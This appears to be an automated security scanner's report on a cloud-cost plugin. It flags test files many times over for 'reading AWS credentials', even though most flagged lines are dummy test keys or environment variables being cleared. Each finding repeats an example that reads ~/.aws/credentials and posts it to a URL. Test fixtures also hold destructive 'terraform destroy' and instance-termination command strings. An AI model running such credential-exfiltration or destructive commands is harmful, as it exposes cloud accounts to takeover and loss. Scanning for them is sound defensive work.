Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_audit_security.py×6
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (# patch, is handed AWS_SECRET_ACCESS_KEY and GIT…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_audit_security.py· python
151# import, for the life of the process. Every subprocess site then spawns with no
152# env=, so a directory nable was merely asked to price, or a repo it was asked to
153# patch, is handed AWS_SECRET_ACCESS_KEY and GITHUB_TOKEN.
154 
155_AWS_SENTINEL = "vault-aws-secret-6f2c1a9e"
Occurrences
6 occurrences · first at L153, also L202, L207 +3 more
Show all 6 locations
Line
File
L153
tests/test_audit_security.py
L202
tests/test_audit_security.py
L207
tests/test_audit_security.py
L270
tests/test_audit_security.py
L277
tests/test_audit_security.py
L299
tests/test_audit_security.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_aws_billing_metrics.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id="testing", aws_secret_access_k…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_aws_billing_metrics.py· python
239 
240client = boto3.client("cloudwatch", region_name="us-east-1",
241aws_access_key_id="testing", aws_secret_access_key="testing")
242now = _now()
243with Stubber(client) as stub:
Occurrences
2 occurrences · first at L241, also L241
Show all 2 locations
Line
File
L241
tests/test_aws_billing_metrics.py
L241
tests/test_aws_billing_metrics.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_aws_read_scope.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.setenv("AWS_ACCESS_KEY_ID", "testing…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_aws_read_scope.py· python
59[*handlers.BUILTIN_HANDLERS, ("before-call", _before_call)])
60monkeypatch.setattr(boto3, "DEFAULT_SESSION", None)
61monkeypatch.setenv("AWS_ACCESS_KEY_ID", "testing")
62monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "testing")
63monkeypatch.setenv("AWS_DEFAULT_REGION", "us-east-1")
Occurrences
2 occurrences · first at L61, also L62
Show all 2 locations
Line
File
L61
tests/test_aws_read_scope.py
L62
tests/test_aws_read_scope.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_billing_access.py×6
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id="testing", aws_secret_access_k…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_billing_access.py· python
352 
353client = boto3.client("ce", region_name="us-east-1",
354aws_access_key_id="testing", aws_secret_access_key="testing")
355with pytest.raises(AssertionError) as e:
356client.get_cost_and_usage(
Occurrences
6 occurrences · first at L354, also L354, L368 +3 more
Show all 6 locations
Line
File
L354
tests/test_billing_access.py
L354
tests/test_billing_access.py
L368
tests/test_billing_access.py
L368
tests/test_billing_access.py
L380
tests/test_billing_access.py
L380
tests/test_billing_access.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_cli_front_door.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.delenv("AWS_ACCESS_KEY_ID", raising=…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_cli_front_door.py· python
23def test_doctor_names_an_expired_sso_session_and_the_fix(monkeypatch):
24from finops import doctor
25monkeypatch.delenv("AWS_ACCESS_KEY_ID", raising=False)
26monkeypatch.setenv("AWS_PROFILE", "acme")
27with patch("boto3.client", side_effect=SSOTokenLoadError(error_msg="Token for acme does not
… (9 chars elided on L27)
Occurrences
3 occurrences · first at L25, also L55, L60
Show all 3 locations
Line
File
L25
tests/test_cli_front_door.py
L55
tests/test_cli_front_door.py
L60
tests/test_cli_front_door.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_cli_scan_says_what_happened.py×6
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (for k in ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCES…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_cli_scan_says_what_happened.py· python
28@pytest.fixture(autouse=True)
29def _hermetic(monkeypatch):
30for k in ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN",
31"AWS_PROFILE", "AWS_DEFAULT_PROFILE", "FINOPS_DEMO"):
32monkeypatch.delenv(k, raising=False)
Occurrences
6 occurrences · first at L30, also L30, L30 +3 more
Show all 6 locations
Line
File
L30
tests/test_cli_scan_says_what_happened.py
L30
tests/test_cli_scan_says_what_happened.py
L30
tests/test_cli_scan_says_what_happened.py
L209
tests/test_cli_scan_says_what_happened.py
L214
tests/test_cli_scan_says_what_happened.py
L220
tests/test_cli_scan_says_what_happened.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_cloud_connect.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMIK7MDENGbPxRf…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_cloud_connect.py· python
173guard_ledger.append({"decision": "ask", "action_type": "one_way", "harness": "claude-code",
174"command": guard_ledger.redact(
175"AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY "
176"aws ec2 terminate-instances --instance-ids i-1")})
177p = cc.build()
Occurrences
1 occurrence · at L175
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_cloudwatch_batching.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id="testing", aws_secret_access_k…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_cloudwatch_batching.py· python
71client = boto3.client(
72"cloudwatch", region_name="us-east-1",
73aws_access_key_id="testing", aws_secret_access_key="testing")
74return client, Stubber(client)
75 
Occurrences
2 occurrences · first at L73, also L73
Show all 2 locations
Line
File
L73
tests/test_cloudwatch_batching.py
L73
tests/test_cloudwatch_batching.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_cloudwatch_metric_stats.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id="x", aws_secret_access_key="y"…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_cloudwatch_metric_stats.py· python
21def _cw():
22return boto3.client("cloudwatch", region_name="us-east-1",
23aws_access_key_id="x", aws_secret_access_key="y") # pragma: allowlist secret
24 
25 
Occurrences
2 occurrences · first at L23, also L23
Show all 2 locations
Line
File
L23
tests/test_cloudwatch_metric_stats.py
L23
tests/test_cloudwatch_metric_stats.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_commitments_status.py×5
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (return boto3.client(service, region_name=region,…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_commitments_status.py· python
56 
57def _client(service: str, region: str):
58return boto3.client(service, region_name=region, aws_access_key_id="testing",
59aws_secret_access_key="testing") # pragma: allowlist secret
60 
Occurrences
5 occurrences · first at L58, also L59, L1025 +2 more
Show all 5 locations
Line
File
L58
tests/test_commitments_status.py
L59
tests/test_commitments_status.py
L1025
tests/test_commitments_status.py
L1025
tests/test_commitments_status.py
L1025
tests/test_commitments_status.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_compute_optimizer_wiring.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id="x", aws_secret_access_key="y"…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_compute_optimizer_wiring.py· python
60def service_model():
61c = boto3.client("compute-optimizer", region_name="us-east-1",
62aws_access_key_id="x", aws_secret_access_key="y")
63return c.meta.service_model, c
64 
Occurrences
2 occurrences · first at L62, also L62
Show all 2 locations
Line
File
L62
tests/test_compute_optimizer_wiring.py
L62
tests/test_compute_optimizer_wiring.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_connect_aws.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.delenv("AWS_ACCESS_KEY_ID", raising=…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_connect_aws.py· python
142import finops.demo_data as dd
143dd._real_provider_cache = None
144monkeypatch.delenv("AWS_ACCESS_KEY_ID", raising=False)
145with patch("finops.security.vault.Vault") as V, \
146patch("finops.accounts.list_accounts",
Occurrences
1 occurrence · at L144
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_connect_sees_the_clouds.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (~/.aws/credentials, the most common one on any d…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_connect_sees_the_clouds.py· python
3 
4Measured 2026-08-19 on a home containing exactly one credential,
5~/.aws/credentials, the most common one on any developer machine:
6 
7$ nable welcome
Occurrences
2 occurrences · first at L5, also L62
Show all 2 locations
Line
File
L5
tests/test_connect_sees_the_clouds.py
L62
tests/test_connect_sees_the_clouds.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfd…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_examples_commitments_recipe.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (for static in ("aws-access-key-id", "aws-secret-…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_examples_commitments_recipe.py· python
73assert set(role["with"]) == {"role-to-assume", "aws-region"}
74text = RECIPE.read_text(encoding="utf-8")
75for static in ("aws-access-key-id", "aws-secret-access-key", "AWS_ACCESS_KEY_ID",
76"AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN", "secrets."):
77assert static not in text, static
Occurrences
3 occurrences · first at L75, also L76, L76
Show all 3 locations
Line
File
L75
tests/test_examples_commitments_recipe.py
L76
tests/test_examples_commitments_recipe.py
L76
tests/test_examples_commitments_recipe.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_guard_authority_forms.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_DEFAULT_PROFILE", "AWS_ACCESS_KEY_ID", "FIN…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_guard_authority_forms.py· python
47for var in ("GH_REPO", "GH_HOST", "GITLAB_REPO", "GL_REPO", "GITLAB_HOST", "GL_HOST",
48"REMOTE_ALIAS", "GIT_REMOTE_URL_VAR", "GIT_DIR", "AWS_PROFILE",
49"AWS_DEFAULT_PROFILE", "AWS_ACCESS_KEY_ID", "FINOPS_GUARD_ACCOUNT",
50"XDG_CONFIG_HOME", "GIT_CONFIG_SYSTEM"):
51monkeypatch.delenv(var, raising=False)
Occurrences
2 occurrences · first at L49, also L483
Show all 2 locations
Line
File
L49
tests/test_guard_authority_forms.py
L483
tests/test_guard_authority_forms.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_guard_capacity_reservation.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (return boto3.client(service, region_name="us-eas…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_guard_capacity_reservation.py· python
620def _client(service: str):
621import boto3
622return boto3.client(service, region_name="us-east-1", aws_access_key_id="testing",
623aws_secret_access_key="testing") # pragma: allowlist secret
624 
Occurrences
2 occurrences · first at L622, also L623
Show all 2 locations
Line
File
L622
tests/test_guard_capacity_reservation.py
L623
tests/test_guard_capacity_reservation.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_guard_effective_rates.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (pytest.fail("the guard waited on a FIFO in place…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_guard_effective_rates.py· python
434os.close(os.open(fifo, os.O_WRONLY | os.O_NONBLOCK)) # let the reader go
435t.join(5)
436pytest.fail("the guard waited on a FIFO in place of ~/.aws/config")
437assert got["v"]["decision"] == "ask" and got["v"]["price_basis"] == "list"
438 
Occurrences
1 occurrence · at L436
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256bd5edf80c5fd24a5…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_guard_ledger.py×7
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ((f"AWS_SECRET_ACCESS_KEY={SECRET} terraform dest…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_guard_ledger.py· python
150 
151@pytest.mark.parametrize("raw,gone,kept", [
152(f"AWS_SECRET_ACCESS_KEY={SECRET} terraform destroy", SECRET,
153"AWS_SECRET_ACCESS_KEY=[REDACTED] terraform destroy"),
154("GITHUB_TOKEN='ghp_x' db_password=hunter2 terraform apply", "hunter2",
Occurrences
7 occurrences · first at L152, also L153, L158 +4 more
Show all 7 locations
Line
File
L152
tests/test_guard_ledger.py
L153
tests/test_guard_ledger.py
L158
tests/test_guard_ledger.py
L201
tests/test_guard_ledger.py
L202
tests/test_guard_ledger.py
L264
tests/test_guard_ledger.py
L721
tests/test_guard_ledger.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_guard_reconcile.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (return boto3.client("cloudtrail", region_name=re…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_guard_reconcile.py· python
64 
65def _client(region: str = "us-east-1"):
66return boto3.client("cloudtrail", region_name=region, aws_access_key_id="testing",
67aws_secret_access_key="testing") # pragma: allowlist secret
68 
Occurrences
2 occurrences · first at L66, also L67
Show all 2 locations
Line
File
L66
tests/test_guard_reconcile.py
L67
tests/test_guard_reconcile.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_headless_cli.py×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (_DROP = ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_headless_cli.py· python
17 
18SRC = str(Path(__file__).resolve().parents[1] / "src")
19_DROP = ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN", "AWS_PROFILE",
20"AWS_REGION", "AWS_DEFAULT_REGION", "AWS_CONFIG_FILE", "AWS_SHARED_CREDENTIALS_FILE",
21"CLAUDECODE", "CLAUDE_CODE_SESSION_ID", "FINOPS_DB_PATH", "DATABASE_URL",
Occurrences
3 occurrences · first at L19, also L19, L19
Show all 3 locations
Line
File
L19
tests/test_headless_cli.py
L19
tests/test_headless_cli.py
L19
tests/test_headless_cli.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
